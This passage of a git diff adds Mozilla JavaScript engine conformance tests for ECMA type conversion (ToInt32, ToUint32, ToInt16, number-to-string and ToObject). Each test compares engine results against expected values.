+new TestCase( SECTION, "(Math.pow(2,32)+1) << 0", ToInt32(4294967297), (Math.pow(2,32)+1) << 0 );
+
+new TestCase( SECTION, "4294967295 << 0", ToInt32(4294967295), 4294967295 << 0 );
+new TestCase( SECTION, "4294967296 << 0", ToInt32(4294967296), 4294967296 << 0 );
+new TestCase( SECTION, "4294967297 << 0", ToInt32(4294967297), 4294967297 << 0 );
+
+new TestCase( SECTION, "'2147483647' << 0", ToInt32(2147483647), '2147483647' << 0 );
+new TestCase( SECTION, "'2147483648' << 0", ToInt32(2147483648), '2147483648' << 0 );
+new TestCase( SECTION, "'2147483649' << 0", ToInt32(2147483649), '2147483649' << 0 );
+
+new TestCase( SECTION, "'4294967295' << 0", ToInt32(4294967295), '4294967295' << 0 );
+new TestCase( SECTION, "'4294967296' << 0", ToInt32(4294967296), '4294967296' << 0 );
+new TestCase( SECTION, "'4294967297' << 0", ToInt32(4294967297), '4294967297' << 0 );
+
+new TestCase( SECTION, "-2147483647 << 0", ToInt32(-2147483647), -2147483647 << 0 );
+new TestCase( SECTION, "-2147483648 << 0", ToInt32(-2147483648), -2147483648 << 0 );
+new TestCase( SECTION, "-2147483649 << 0", ToInt32(-2147483649), -2147483649 << 0 );
+
+new TestCase( SECTION, "-4294967295 << 0", ToInt32(-4294967295), -4294967295 << 0 );
+new TestCase( SECTION, "-4294967296 << 0", ToInt32(-4294967296), -4294967296 << 0 );
+new TestCase( SECTION, "-4294967297 << 0", ToInt32(-4294967297), -4294967297 << 0 );
+
+/*
+ * Numbers between 2^31 and 2^32 will have a negative ToInt32 per ECMA (see step 5 of introduction)
+ * (These are by stevechapel@earthlink.net; cf. http://bugzilla.mozilla.org/show_bug.cgi?id=120083)
+ */
+new TestCase( SECTION, "2147483648.25 << 0", ToInt32(2147483648.25), 2147483648.25 << 0 );
+new TestCase( SECTION, "2147483648.5 << 0", ToInt32(2147483648.5), 2147483648.5 << 0 );
+new TestCase( SECTION, "2147483648.75 << 0", ToInt32(2147483648.75), 2147483648.75 << 0 );
+new TestCase( SECTION, "4294967295.25 << 0", ToInt32(4294967295.25), 4294967295.25 << 0 );
+new TestCase( SECTION, "4294967295.5 << 0", ToInt32(4294967295.5), 4294967295.5 << 0 );
+new TestCase( SECTION, "4294967295.75 << 0", ToInt32(4294967295.75), 4294967295.75 << 0 );
+new TestCase( SECTION, "3000000000.25 << 0", ToInt32(3000000000.25), 3000000000.25 << 0 );
+new TestCase( SECTION, "3000000000.5 << 0", ToInt32(3000000000.5), 3000000000.5 << 0 );
+new TestCase( SECTION, "3000000000.75 << 0", ToInt32(3000000000.75), 3000000000.75 << 0 );
+
+/*
+ * Numbers between - 2^31 and - 2^32
+ */
+new TestCase( SECTION, "-2147483648.25 << 0", ToInt32(-2147483648.25), -2147483648.25 << 0 );
+new TestCase( SECTION, "-2147483648.5 << 0", ToInt32(-2147483648.5), -2147483648.5 << 0 );
+new TestCase( SECTION, "-2147483648.75 << 0", ToInt32(-2147483648.75), -2147483648.75 << 0 );
+new TestCase( SECTION, "-4294967295.25 << 0", ToInt32(-4294967295.25), -4294967295.25 << 0 );
+new TestCase( SECTION, "-4294967295.5 << 0", ToInt32(-4294967295.5), -4294967295.5 << 0 );
+new TestCase( SECTION, "-4294967295.75 << 0", ToInt32(-4294967295.75), -4294967295.75 << 0 );
+new TestCase( SECTION, "-3000000000.25 << 0", ToInt32(-3000000000.25), -3000000000.25 << 0 );
+new TestCase( SECTION, "-3000000000.5 << 0", ToInt32(-3000000000.5), -3000000000.5 << 0 );
+new TestCase( SECTION, "-3000000000.75 << 0", ToInt32(-3000000000.75), -3000000000.75 << 0 );
+
+
+test();
+
+function ToInt32( n ) {
+ n = Number( n );
+ var sign = ( n < 0 ) ? -1 : 1;
+
+ if ( Math.abs( n ) == 0 || Math.abs( n ) == Number.POSITIVE_INFINITY) {
+ return 0;
+ }
+
+ n = (sign * Math.floor( Math.abs(n) )) % Math.pow(2,32);
+ if ( sign == -1 ) {
+ n = ( n < -Math.pow(2,31) ) ? n + Math.pow(2,32) : n;
+ } else{
+ n = ( n >= Math.pow(2,31) ) ? n - Math.pow(2,32) : n;
+ }
+
+ return ( n );
+}
+
diff --git a/js/src/tests/ecma/TypeConversion/9.6.js b/js/src/tests/ecma/TypeConversion/9.6.js
new file mode 100644
index 000000000..533b21fcd
--- /dev/null
+++ b/js/src/tests/ecma/TypeConversion/9.6.js
@@ -0,0 +1,106 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 9.6.js
+ ECMA Section: 9.6 Type Conversion: ToUint32
+ Description: rules for converting an argument to an unsigned
+ 32 bit integer
+
+ this test uses >>> 0 to convert the argument to
+ an unsigned 32bit integer.
+
+ 1 call ToNumber on argument
+ 2 if result is NaN, 0, -0, Infinity, -Infinity
+ return 0
+ 3 compute (sign (result(1)) * floor(abs(result 1)))
+ 4 compute result(3) modulo 2^32:
+ 5 return result(4)
+
+ special cases:
+ -0 returns 0
+ Infinity returns 0
+ -Infinity returns 0
+ 0 returns 0
+ ToInt32(ToUint32(x)) == ToInt32(x) for all values of x
+ ** NEED TO DO THIS PART IN A SEPARATE TEST FILE **
+
+
+ Author: christine@netscape.com
+ Date: 17 july 1997
+*/
+
+var SECTION = "9.6";
+var VERSION = "ECMA_1";
+startTest();
+
+writeHeaderToLog( SECTION + " Type Conversion: ToUint32");
+
+new TestCase( SECTION, "0 >>> 0", 0, 0 >>> 0 );
+// new TestCase( SECTION, "+0 >>> 0", 0, +0 >>> 0);
+new TestCase( SECTION, "-0 >>> 0", 0, -0 >>> 0 );
+new TestCase( SECTION, "'Infinity' >>> 0", 0, "Infinity" >>> 0 );
+new TestCase( SECTION, "'-Infinity' >>> 0", 0, "-Infinity" >>> 0);
+new TestCase( SECTION, "'+Infinity' >>> 0", 0, "+Infinity" >>> 0 );
+new TestCase( SECTION, "Number.POSITIVE_INFINITY >>> 0", 0, Number.POSITIVE_INFINITY >>> 0 );
+new TestCase( SECTION, "Number.NEGATIVE_INFINITY >>> 0", 0, Number.NEGATIVE_INFINITY >>> 0 );
+new TestCase( SECTION, "Number.NaN >>> 0", 0, Number.NaN >>> 0 );
+
+new TestCase( SECTION, "Number.MIN_VALUE >>> 0", 0, Number.MIN_VALUE >>> 0 );
+new TestCase( SECTION, "-Number.MIN_VALUE >>> 0", 0, Number.MIN_VALUE >>> 0 );
+new TestCase( SECTION, "0.1 >>> 0", 0, 0.1 >>> 0 );
+new TestCase( SECTION, "-0.1 >>> 0", 0, -0.1 >>> 0 );
+new TestCase( SECTION, "1 >>> 0", 1, 1 >>> 0 );
+new TestCase( SECTION, "1.1 >>> 0", 1, 1.1 >>> 0 );
+
+new TestCase( SECTION, "-1.1 >>> 0", ToUint32(-1.1), -1.1 >>> 0 );
+new TestCase( SECTION, "-1 >>> 0", ToUint32(-1), -1 >>> 0 );
+
+new TestCase( SECTION, "2147483647 >>> 0", ToUint32(2147483647), 2147483647 >>> 0 );
+new TestCase( SECTION, "2147483648 >>> 0", ToUint32(2147483648), 2147483648 >>> 0 );
+new TestCase( SECTION, "2147483649 >>> 0", ToUint32(2147483649), 2147483649 >>> 0 );
+
+new TestCase( SECTION, "4294967295 >>> 0", ToUint32(4294967295), 4294967295 >>> 0 );
+new TestCase( SECTION, "4294967296 >>> 0", ToUint32(4294967296), 4294967296 >>> 0 );
+new TestCase( SECTION, "4294967297 >>> 0", ToUint32(4294967297), 4294967297 >>> 0 );
+
+new TestCase( SECTION, "-2147483647 >>> 0", ToUint32(-2147483647), -2147483647 >>> 0 );
+new TestCase( SECTION, "-2147483648 >>> 0", ToUint32(-2147483648), -2147483648 >>> 0 );
+new TestCase( SECTION, "-2147483649 >>> 0", ToUint32(-2147483649), -2147483649 >>> 0 );
+
+new TestCase( SECTION, "-4294967295 >>> 0", ToUint32(-4294967295), -4294967295 >>> 0 );
+new TestCase( SECTION, "-4294967296 >>> 0", ToUint32(-4294967296), -4294967296 >>> 0 );
+new TestCase( SECTION, "-4294967297 >>> 0", ToUint32(-4294967297), -4294967297 >>> 0 );
+
+new TestCase( SECTION, "'2147483647' >>> 0", ToUint32(2147483647), '2147483647' >>> 0 );
+new TestCase( SECTION, "'2147483648' >>> 0", ToUint32(2147483648), '2147483648' >>> 0 );
+new TestCase( SECTION, "'2147483649' >>> 0", ToUint32(2147483649), '2147483649' >>> 0 );
+
+new TestCase( SECTION, "'4294967295' >>> 0", ToUint32(4294967295), '4294967295' >>> 0 );
+new TestCase( SECTION, "'4294967296' >>> 0", ToUint32(4294967296), '4294967296' >>> 0 );
+new TestCase( SECTION, "'4294967297' >>> 0", ToUint32(4294967297), '4294967297' >>> 0 );
+
+
+test();
+
+function ToUint32( n ) {
+ n = Number( n );
+ var sign = ( n < 0 ) ? -1 : 1;
+
+ if ( Math.abs( n ) == 0 || Math.abs( n ) == Number.POSITIVE_INFINITY) {
+ return 0;
+ }
+ n = sign * Math.floor( Math.abs(n) )
+
+ n = n % Math.pow(2,32);
+
+ if ( n < 0 ){
+ n += Math.pow(2,32);
+ }
+
+ return ( n );
+}
+
diff --git a/js/src/tests/ecma/TypeConversion/9.7.js b/js/src/tests/ecma/TypeConversion/9.7.js
new file mode 100644
index 000000000..1d89583e0
--- /dev/null
+++ b/js/src/tests/ecma/TypeConversion/9.7.js
@@ -0,0 +1,126 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 9.7.js
+ ECMA Section: 9.7 Type Conversion: ToInt16
+ Description: rules for converting an argument to an unsigned
+ 16 bit integer in the range 0 to 2^16-1.
+
+ this test uses String.prototype.fromCharCode() and
+ String.prototype.charCodeAt() to test ToInt16.
+
+ special cases:
+ -0 returns 0
+ Infinity returns 0
+ -Infinity returns 0
+ 0 returns 0
+
+ Author: christine@netscape.com
+ Date: 17 july 1997
+*/
+var SECTION = "9.7";
+var VERSION = "ECMA_1";
+startTest();
+
+writeHeaderToLog( SECTION + " Type Conversion: ToInt16");
+
+/*
+ new TestCase( "9.7", "String.fromCharCode(0).charCodeAt(0)", 0, String.fromCharCode(0).charCodeAt(0) );
+ new TestCase( "9.7", "String.fromCharCode(-0).charCodeAt(0)", 0, String.fromCharCode(-0).charCodeAt(0) );
+ new TestCase( "9.7", "String.fromCharCode(1).charCodeAt(0)", 1, String.fromCharCode(1).charCodeAt(0) );
+ new TestCase( "9.7", "String.fromCharCode(64).charCodeAt(0)", 64, String.fromCharCode(64).charCodeAt(0) );
+ new TestCase( "9.7", "String.fromCharCode(126).charCodeAt(0)", 126, String.fromCharCode(126).charCodeAt(0) );
+ new TestCase( "9.7", "String.fromCharCode(127).charCodeAt(0)", 127, String.fromCharCode(127).charCodeAt(0) );
+ new TestCase( "9.7", "String.fromCharCode(128).charCodeAt(0)", 128, String.fromCharCode(128).charCodeAt(0) );
+ new TestCase( "9.7", "String.fromCharCode(130).charCodeAt(0)", 130, String.fromCharCode(130).charCodeAt(0) );
+ new TestCase( "9.7", "String.fromCharCode(255).charCodeAt(0)", 255, String.fromCharCode(255).charCodeAt(0) );
+ new TestCase( "9.7", "String.fromCharCode(256).charCodeAt(0)", 256, String.fromCharCode(256).charCodeAt(0) );
+ new TestCase( "9.7", "String.fromCharCode(Math.pow(2,16)-1).charCodeAt(0)", 65535, String.fromCharCode(Math.pow(2,16)-1).charCodeAt(0) );
+ new TestCase( "9.7", "String.fromCharCode(Math.pow(2,16)).charCodeAt(0)", 0, String.fromCharCode(Math.pow(2,16)).charCodeAt(0) );
+*/
+
+
+new TestCase( "9.7", "String.fromCharCode(0).charCodeAt(0)", ToInt16(0), String.fromCharCode(0).charCodeAt(0) );
+new TestCase( "9.7", "String.fromCharCode(-0).charCodeAt(0)", ToInt16(0), String.fromCharCode(-0).charCodeAt(0) );
+new TestCase( "9.7", "String.fromCharCode(1).charCodeAt(0)", ToInt16(1), String.fromCharCode(1).charCodeAt(0) );
+new TestCase( "9.7", "String.fromCharCode(64).charCodeAt(0)", ToInt16(64), String.fromCharCode(64).charCodeAt(0) );
+new TestCase( "9.7", "String.fromCharCode(126).charCodeAt(0)", ToInt16(126), String.fromCharCode(126).charCodeAt(0) );
+new TestCase( "9.7", "String.fromCharCode(127).charCodeAt(0)", ToInt16(127), String.fromCharCode(127).charCodeAt(0) );
+new TestCase( "9.7", "String.fromCharCode(128).charCodeAt(0)", ToInt16(128), String.fromCharCode(128).charCodeAt(0) );
+new TestCase( "9.7", "String.fromCharCode(130).charCodeAt(0)", ToInt16(130), String.fromCharCode(130).charCodeAt(0) );
+new TestCase( "9.7", "String.fromCharCode(255).charCodeAt(0)", ToInt16(255), String.fromCharCode(255).charCodeAt(0) );
+new TestCase( "9.7", "String.fromCharCode(256).charCodeAt(0)", ToInt16(256), String.fromCharCode(256).charCodeAt(0) );
+
+new TestCase( "9.7", "String.fromCharCode(Math.pow(2,16)-1).charCodeAt(0)", 65535, String.fromCharCode(Math.pow(2,16)-1).charCodeAt(0) );
+new TestCase( "9.7", "String.fromCharCode(Math.pow(2,16)).charCodeAt(0)", 0, String.fromCharCode(Math.pow(2,16)).charCodeAt(0) );
+
+new TestCase( "9.7", "String.fromCharCode(65535).charCodeAt(0)", ToInt16(65535), String.fromCharCode(65535).charCodeAt(0) );
+new TestCase( "9.7", "String.fromCharCode(65536).charCodeAt(0)", ToInt16(65536), String.fromCharCode(65536).charCodeAt(0) );
+new TestCase( "9.7", "String.fromCharCode(65537).charCodeAt(0)", ToInt16(65537), String.fromCharCode(65537).charCodeAt(0) );
+
+new TestCase( "9.7", "String.fromCharCode(131071).charCodeAt(0)", ToInt16(131071), String.fromCharCode(131071).charCodeAt(0) );
+new TestCase( "9.7", "String.fromCharCode(131072).charCodeAt(0)", ToInt16(131072), String.fromCharCode(131072).charCodeAt(0) );
+new TestCase( "9.7", "String.fromCharCode(131073).charCodeAt(0)", ToInt16(131073), String.fromCharCode(131073).charCodeAt(0) );
+
+new TestCase( "9.7", "String.fromCharCode('65535').charCodeAt(0)", 65535, String.fromCharCode("65535").charCodeAt(0) );
+new TestCase( "9.7", "String.fromCharCode('65536').charCodeAt(0)", 0, String.fromCharCode("65536").charCodeAt(0) );
+
+new TestCase( "9.7", "String.fromCharCode(-1).charCodeAt(0)", ToInt16(-1), String.fromCharCode(-1).charCodeAt(0) );
+new TestCase( "9.7", "String.fromCharCode(-64).charCodeAt(0)", ToInt16(-64), String.fromCharCode(-64).charCodeAt(0) );
+new TestCase( "9.7", "String.fromCharCode(-126).charCodeAt(0)", ToInt16(-126), String.fromCharCode(-126).charCodeAt(0) );
+new TestCase( "9.7", "String.fromCharCode(-127).charCodeAt(0)", ToInt16(-127), String.fromCharCode(-127).charCodeAt(0) );
+new TestCase( "9.7", "String.fromCharCode(-128).charCodeAt(0)", ToInt16(-128), String.fromCharCode(-128).charCodeAt(0) );
+new TestCase( "9.7", "String.fromCharCode(-130).charCodeAt(0)", ToInt16(-130), String.fromCharCode(-130).charCodeAt(0) );
+new TestCase( "9.7", "String.fromCharCode(-255).charCodeAt(0)", ToInt16(-255), String.fromCharCode(-255).charCodeAt(0) );
+new TestCase( "9.7", "String.fromCharCode(-256).charCodeAt(0)", ToInt16(-256), String.fromCharCode(-256).charCodeAt(0) );
+
+new TestCase( "9.7", "String.fromCharCode(-Math.pow(2,16)-1).charCodeAt(0)", 65535, String.fromCharCode(-Math.pow(2,16)-1).charCodeAt(0) );
+new TestCase( "9.7", "String.fromCharCode(-Math.pow(2,16)).charCodeAt(0)", 0, String.fromCharCode(-Math.pow(2,16)).charCodeAt(0) );
+
+new TestCase( "9.7", "String.fromCharCode(-65535).charCodeAt(0)", ToInt16(-65535), String.fromCharCode(-65535).charCodeAt(0) );
+new TestCase( "9.7", "String.fromCharCode(-65536).charCodeAt(0)", ToInt16(-65536), String.fromCharCode(-65536).charCodeAt(0) );
+new TestCase( "9.7", "String.fromCharCode(-65537).charCodeAt(0)", ToInt16(-65537), String.fromCharCode(-65537).charCodeAt(0) );
+
+new TestCase( "9.7", "String.fromCharCode(-131071).charCodeAt(0)", ToInt16(-131071), String.fromCharCode(-131071).charCodeAt(0) );
+new TestCase( "9.7", "String.fromCharCode(-131072).charCodeAt(0)", ToInt16(-131072), String.fromCharCode(-131072).charCodeAt(0) );
+new TestCase( "9.7", "String.fromCharCode(-131073).charCodeAt(0)", ToInt16(-131073), String.fromCharCode(-131073).charCodeAt(0) );
+
+new TestCase( "9.7", "String.fromCharCode('-65535').charCodeAt(0)", ToInt16(-65535), String.fromCharCode("-65535").charCodeAt(0) );
+new TestCase( "9.7", "String.fromCharCode('-65536').charCodeAt(0)", ToInt16(-65536), String.fromCharCode("-65536").charCodeAt(0) );
+
+
+// new TestCase( "9.7", "String.fromCharCode(2147483648).charCodeAt(0)", ToInt16(2147483648), String.fromCharCode(2147483648).charCodeAt(0) );
+
+
+
+// the following test cases cause a runtime error. see: http://scopus.mcom.com/bugsplat/show_bug.cgi?id=78878
+
+// new TestCase( "9.7", "String.fromCharCode(Infinity).charCodeAt(0)", 0, String.fromCharCode("Infinity").charCodeAt(0) );
+// new TestCase( "9.7", "String.fromCharCode(-Infinity).charCodeAt(0)", 0, String.fromCharCode("-Infinity").charCodeAt(0) );
+// new TestCase( "9.7", "String.fromCharCode(NaN).charCodeAt(0)", 0, String.fromCharCode(Number.NaN).charCodeAt(0) );
+// new TestCase( "9.7", "String.fromCharCode(Number.POSITIVE_INFINITY).charCodeAt(0)", 0, String.fromCharCode(Number.POSITIVE_INFINITY).charCodeAt(0) );
+// new TestCase( "9.7", "String.fromCharCode(Number.NEGATIVE_INFINITY).charCodeAt(0)", 0, String.fromCharCode(Number.NEGATIVE_INFINITY).charCodeAt(0) );
+
+test();
+
+function ToInt16( num ) {
+ num = Number( num );
+ if ( isNaN( num ) || num == 0 || num == Number.POSITIVE_INFINITY || num == Number.NEGATIVE_INFINITY ) {
+ return 0;
+ }
+
+ var sign = ( num < 0 ) ? -1 : 1;
+
+ num = sign * Math.floor( Math.abs( num ) );
+
+ num = num % Math.pow(2,16);
+
+ num = ( num > -65536 && num < 0) ? 65536 + num : num;
+
+ return num;
+}
+
diff --git a/js/src/tests/ecma/TypeConversion/9.8.1.js b/js/src/tests/ecma/TypeConversion/9.8.1.js
new file mode 100644
index 000000000..1f6268303
--- /dev/null
+++ b/js/src/tests/ecma/TypeConversion/9.8.1.js
@@ -0,0 +1,133 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 9.8.1.js
+ ECMA Section: 9.8.1 ToString Applied to the Number Type
+ Description: The operator ToString convers a number m to string
+ as follows:
+
+ 1. if m is NaN, return the string "NaN"
+ 2. if m is +0 or -0, return the string "0"
+ 3. if m is less than zero, return the string
+ concatenation of the string "-" and ToString(-m).
+ 4. If m is Infinity, return the string "Infinity".
+ 5. Otherwise, let n, k, and s be integers such that
+ k >= 1, 10k1 <= s < 10k, the number value for s10nk
+ is m, and k is as small as possible. Note that k is
+ the number of digits in the decimal representation
+ of s, that s is not divisible by 10, and that the
+ least significant digit of s is not necessarily
+ uniquely determined by these criteria.
+ 6. If k <= n <= 21, return the string consisting of the
+ k digits of the decimal representation of s (in order,
+ with no leading zeroes), followed by n-k occurences
+ of the character '0'.
+ 7. If 0 < n <= 21, return the string consisting of the
+ most significant n digits of the decimal
+ representation of s, followed by a decimal point
+ '.', followed by the remaining kn digits of the
+ decimal representation of s.
+ 8. If 6 < n <= 0, return the string consisting of the
+ character '0', followed by a decimal point '.',
+ followed by n occurences of the character '0',
+ followed by the k digits of the decimal
+ representation of s.
+ 9. Otherwise, if k = 1, return the string consisting
+ of the single digit of s, followed by lowercase
+ character 'e', followed by a plus sign '+' or minus
+ sign '' according to whether n1 is positive or
+ negative, followed by the decimal representation
+ of the integer abs(n1) (with no leading zeros).
+ 10. Return the string consisting of the most significant
+ digit of the decimal representation of s, followed
+ by a decimal point '.', followed by the remaining k1
+ digits of the decimal representation of s, followed
+ by the lowercase character 'e', followed by a plus
+ sign '+' or minus sign '' according to whether n1 is
+ positive or negative, followed by the decimal
+ representation of the integer abs(n1) (with no
+ leading zeros).
+
+ Note that if x is any number value other than 0, then
+ ToNumber(ToString(x)) is exactly the same number value as x.
+
+ As noted, the least significant digit of s is not always
+ uniquely determined by the requirements listed in step 5.
+ The following specification for step 5 was considered, but
+ not adopted:
+
+ Author: christine@netscape.com
+ Date: 10 july 1997
+*/
+
+var SECTION = "9.8.1";
+var VERSION = "ECMA_1";
+startTest();
+
+writeHeaderToLog( SECTION + " ToString applied to the Number type");
+
+new TestCase( SECTION, "Number.NaN", "NaN", Number.NaN + "" );
+new TestCase( SECTION, "0", "0", 0 + "" );
+new TestCase( SECTION, "-0", "0", -0 + "" );
+new TestCase( SECTION, "Number.POSITIVE_INFINITY", "Infinity", Number.POSITIVE_INFINITY + "" );
+new TestCase( SECTION, "Number.NEGATIVE_INFINITY", "-Infinity", Number.NEGATIVE_INFINITY + "" );
+new TestCase( SECTION, "-1", "-1", -1 + "" );
+
+// cases in step 6: integers 1e21 > x >= 1 or -1 >= x > -1e21
+
+new TestCase( SECTION, "1", "1", 1 + "" );
+new TestCase( SECTION, "10", "10", 10 + "" );
+new TestCase( SECTION, "100", "100", 100 + "" );
+new TestCase( SECTION, "1000", "1000", 1000 + "" );
+new TestCase( SECTION, "10000", "10000", 10000 + "" );
+new TestCase( SECTION, "10000000000", "10000000000", 10000000000 + "" );
+new TestCase( SECTION, "10000000000000000000", "10000000000000000000", 10000000000000000000 + "" );
+new TestCase( SECTION, "100000000000000000000","100000000000000000000",100000000000000000000 + "" );
+
+new TestCase( SECTION, "12345", "12345", 12345 + "" );
+new TestCase( SECTION, "1234567890", "1234567890", 1234567890 + "" );
+
+new TestCase( SECTION, "-1", "-1", -1 + "" );
+new TestCase( SECTION, "-10", "-10", -10 + "" );
+new TestCase( SECTION, "-100", "-100", -100 + "" );
+new TestCase( SECTION, "-1000", "-1000", -1000 + "" );
+new TestCase( SECTION, "-1000000000", "-1000000000", -1000000000 + "" );
+new TestCase( SECTION, "-1000000000000000", "-1000000000000000", -1000000000000000 + "" );
+new TestCase( SECTION, "-100000000000000000000", "-100000000000000000000", -100000000000000000000 + "" );
+new TestCase( SECTION, "-1000000000000000000000", "-1e+21", -1000000000000000000000 + "" );
+
+new TestCase( SECTION, "-12345", "-12345", -12345 + "" );
+new TestCase( SECTION, "-1234567890", "-1234567890", -1234567890 + "" );
+
+// cases in step 7: numbers with a fractional component, 1e21> x >1 or -1 > x > -1e21,
+new TestCase( SECTION, "1.0000001", "1.0000001", 1.0000001 + "" );
+
+// cases in step 8: fractions between 1 > x > -1, exclusive of 0 and -0
+
+// cases in step 9: numbers with 1 significant digit >= 1e+21 or <= 1e-6
+
+new TestCase( SECTION, "1000000000000000000000", "1e+21", 1000000000000000000000 + "" );
+new TestCase( SECTION, "10000000000000000000000", "1e+22", 10000000000000000000000 + "" );
+
+// cases in step 10: numbers with more than 1 significant digit >= 1e+21 or <= 1e-6
+
+new TestCase( SECTION, "1.2345", "1.2345", String( 1.2345));
+new TestCase( SECTION, "1.234567890", "1.23456789", String( 1.234567890 ));
+
+
+new TestCase( SECTION, ".12345", "0.12345", String(.12345 ) );
+new TestCase( SECTION, ".012345", "0.012345", String(.012345) );
+new TestCase( SECTION, ".0012345", "0.0012345", String(.0012345) );
+new TestCase( SECTION, ".00012345", "0.00012345", String(.00012345) );
+new TestCase( SECTION, ".000012345", "0.000012345", String(.000012345) );
+new TestCase( SECTION, ".0000012345", "0.0000012345", String(.0000012345) );
+new TestCase( SECTION, ".00000012345", "1.2345e-7", String(.00000012345));
+
+new TestCase( SECTION, "-1e21", "-1e+21", String(-1e21) );
+
+test();
+
diff --git a/js/src/tests/ecma/TypeConversion/9.9-1.js b/js/src/tests/ecma/TypeConversion/9.9-1.js
new file mode 100644
index 000000000..b252f68ce
--- /dev/null
+++ b/js/src/tests/ecma/TypeConversion/9.9-1.js
@@ -0,0 +1,85 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 9.9-1.js
+ ECMA Section: 9.9 Type Conversion: ToObject
+ Description:
+
+ undefined generate a runtime error
+ null generate a runtime error
+ boolean create a new Boolean object whose default
+ value is the value of the boolean.
+ number Create a new Number object whose default
+ value is the value of the number.
+ string Create a new String object whose default
+ value is the value of the string.
+ object Return the input argument (no conversion).
+ Author: christine@netscape.com
+ Date: 17 july 1997
+*/
+
+var VERSION = "ECMA_1";
+startTest();
+var SECTION = "9.9-1";
+
+writeHeaderToLog( SECTION + " Type Conversion: ToObject" );
+
+new TestCase( SECTION, "Object(true).valueOf()", true, (Object(true)).valueOf() );
+new TestCase( SECTION, "typeof Object(true)", "object", typeof Object(true) );
+
+new TestCase( SECTION, "Object(false).valueOf()", false, (Object(false)).valueOf() );
+new TestCase( SECTION, "typeof Object(false)", "object", typeof Object(false) );
+
+new TestCase( SECTION, "Object(0).valueOf()", 0, (Object(0)).valueOf() );
+new TestCase( SECTION, "typeof Object(0)", "object", typeof Object(0) );
+
+new TestCase( SECTION, "Object(-0).valueOf()", -0, (Object(-0)).valueOf() );
+new TestCase( SECTION, "typeof Object(-0)", "object", typeof Object(-0) );
+
+new TestCase( SECTION, "Object(1).valueOf()", 1, (Object(1)).valueOf() );
+new TestCase( SECTION, "typeof Object(1)", "object", typeof Object(1) );
+
+new TestCase( SECTION, "Object(-1).valueOf()", -1, (Object(-1)).valueOf() );
+new TestCase( SECTION, "typeof Object(-1)", "object", typeof Object(-1) );
+
+new TestCase( SECTION, "Object(Number.MAX_VALUE).valueOf()", 1.7976931348623157e308, (Object(Number.MAX_VALUE)).valueOf() );
+new TestCase( SECTION, "typeof Object(Number.MAX_VALUE)", "object", typeof Object(Number.MAX_VALUE) );
+
+new TestCase( SECTION, "Object(Number.MIN_VALUE).valueOf()", 5e-324, (Object(Number.MIN_VALUE)).valueOf() );
+new TestCase( SECTION, "typeof Object(Number.MIN_VALUE)", "object", typeof Object(Number.MIN_VALUE) );
+
+new TestCase( SECTION, "Object(Number.POSITIVE_INFINITY).valueOf()", Number.POSITIVE_INFINITY, (Object(Number.POSITIVE_INFINITY)).valueOf() );
+new TestCase( SECTION, "typeof Object(Number.POSITIVE_INFINITY)", "object", typeof Object(Number.POSITIVE_INFINITY) );
+
+new TestCase( SECTION, "Object(Number.NEGATIVE_INFINITY).valueOf()", Number.NEGATIVE_INFINITY, (Object(Number.NEGATIVE_INFINITY)).valueOf() );
+new TestCase( SECTION, "typeof Object(Number.NEGATIVE_INFINITY)", "object", typeof Object(Number.NEGATIVE_INFINITY) );
+
+new TestCase( SECTION, "Object(Number.NaN).valueOf()", Number.NaN, (Object(Number.NaN)).valueOf() );
+new TestCase( SECTION, "typeof Object(Number.NaN)", "object", typeof Object(Number.NaN) );
+
+new TestCase( SECTION, "Object('a string').valueOf()", "a string", (Object("a string")).valueOf() );
+new TestCase( SECTION, "typeof Object('a string')", "object", typeof (Object("a string")) );
+
+new TestCase( SECTION, "Object('').valueOf()", "", (Object("")).valueOf() );
+new TestCase( SECTION, "typeof Object('')", "object", typeof (Object("")) );
+
+new TestCase( SECTION, "Object('\\r\\t\\b\\n\\v\\f').valueOf()", "\r\t\b\n\v\f", (Object("\r\t\b\n\v\f")).valueOf() );
+new TestCase( SECTION, "typeof Object('\\r\\t\\b\\n\\v\\f')", "object", typeof (Object("\\r\\t\\b\\n\\v\\f")) );
+
+new TestCase( SECTION, "Object( '\\\'\\\"\\' ).valueOf()", "\'\"\\", (Object("\'\"\\")).valueOf() );
+new TestCase( SECTION, "typeof Object( '\\\'\\\"\\' )", "object", typeof Object("\'\"\\") );
+
+new TestCase( SECTION, "Object( new MyObject(true) ).valueOf()", true, eval("Object( new MyObject(true) ).valueOf()") );
+new TestCase( SECTION, "typeof Object( new MyObject(true) )", "object", eval("typeof Object( new MyObject(true) )") );
+new TestCase( SECTION, "(Object( new MyObject(true) )).toString()", "[object Object]", eval("(Object( new MyObject(true) )).toString()") );
+
+test();
+
+function MyObject( value ) {
+ this.value = value;
+ this.valueOf = new Function ( "return this.value" );
+}
diff --git a/js/src/tests/ecma/TypeConversion/browser.js b/js/src/tests/ecma/TypeConversion/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma/TypeConversion/browser.js
diff --git a/js/src/tests/ecma/TypeConversion/shell.js b/js/src/tests/ecma/TypeConversion/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma/TypeConversion/shell.js
diff --git a/js/src/tests/ecma/Types/8.1.js b/js/src/tests/ecma/Types/8.1.js
new file mode 100644
index 000000000..532ebaab5
--- /dev/null
+++ b/js/src/tests/ecma/Types/8.1.js
@@ -0,0 +1,41 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
